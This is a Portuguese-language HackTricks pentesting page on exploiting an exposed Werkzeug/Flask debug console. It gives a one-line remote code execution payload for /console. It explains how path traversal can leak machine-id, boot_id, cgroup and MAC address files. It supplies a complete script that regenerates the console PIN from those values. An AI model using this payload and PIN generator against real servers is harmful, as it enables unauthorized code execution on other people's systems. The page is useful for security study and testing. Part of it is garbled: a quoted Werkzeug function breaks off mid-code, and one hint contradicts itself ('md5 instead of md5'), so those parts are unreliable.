hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

10 KiB

Werkzeug / Depuração do Flask

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década que será realizado em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no link abaixo e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org" %}

Console RCE

Se a depuração estiver ativa, você pode tentar acessar /console e obter RCE.

__import__('os').popen('whoami').read();

Também existem vários exploits na internet como este ou um no metasploit.

Protegido por PIN - Traversal de Caminho

Em algumas ocasiões, o endpoint /console será protegido por um PIN. Se você tiver uma vulnerabilidade de travessia de arquivo, poderá vazar todas as informações necessárias para gerar esse PIN.

Exploração de PIN do Console Werkzeug

Copiado do primeiro link.
Veja a mensagem "console bloqueado" do Werkzeug forçando a página de erro de depuração no aplicativo.

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Localize a console Werkzeug vulnerável no caminho vulnerable-site.com/console, mas está bloqueada por um número PIN secreto.

Você pode reverter o algoritmo que gera o PIN do console. Inspecte o arquivo __init__.py de depuração do Werkzeug no servidor, por exemplo, python3.5/site-packages/werkzeug/debug/__init__.py. Você pode visualizar o repositório de código-fonte do Werkzeug para verificar como o PIN é gerado, mas é melhor vazar o código-fonte por meio de uma vulnerabilidade de travessia de arquivo, já que as versões provavelmente diferem.

Variáveis necessárias para explorar o PIN do console:

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

probably_public_bits

  • username é o usuário que iniciou este Flask
  • modname é flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) é Flask
  • getattr(mod, '__file__', None) é o caminho absoluto de app.py no diretório do flask (por exemplo, /usr/local/lib/python3.5/dist-packages/flask/app.py). Se app.py não funcionar, tente app.pyc

private_bits

  • uuid.getnode() é o endereço MAC do computador atual, str(uuid.getnode()) é a expressão decimal do endereço MAC.

    • Para encontrar o endereço MAC do servidor, é necessário saber qual interface de rede está sendo usada para servir o aplicativo (por exemplo, ens3). Se desconhecido, vaze /proc/net/arp para o ID do dispositivo e, em seguida, vaze o endereço MAC em /sys/class/net/<device id>/address.

    Converta do endereço hex para a representação decimal executando em python, por exemplo:

    # Era 56:00:02:7a:23:ac
    >>> print(0x5600027a23ac)
    94558041547692
    
  • get_machine_id() concatena os valores em /etc/machine-id, /proc/sys/kernel/random/boot_id e primeira linha de /proc/self/cgroup após a última barra (/).

código get_machine_id() ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id
if _machine_id is not None:
    return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
    linux = b""

    # machine-id is stable across boots, boot_id is not.
    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": 
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except OSError:
            continue

        if value:
            linux += value
            break

    # Containers share the same machine id, add some cgroup
    # information. This is used outside containers too but should be
    # relatively stable across boots.
    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
    except OSError:
        pass

    if linux:
        return linux

    # On OS X, use ioreg to get the computer's serial number.
    try:
</details>

Depois de preparar todas as variáveis, execute o script de exploração para gerar o PIN do console Werkzeug:
```python
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

{% hint style="success" %} Se você estiver em uma versão antiga do Werkzeug, tente mudar o algoritmo de hash para md5 em vez de md5. {% endhint %}

Referências

A Conferência de Segurança DragonJAR é um evento internacional de cibersegurança com mais de uma década que será realizada em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:

{% embed url="https://www.dragonjarcon.org" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥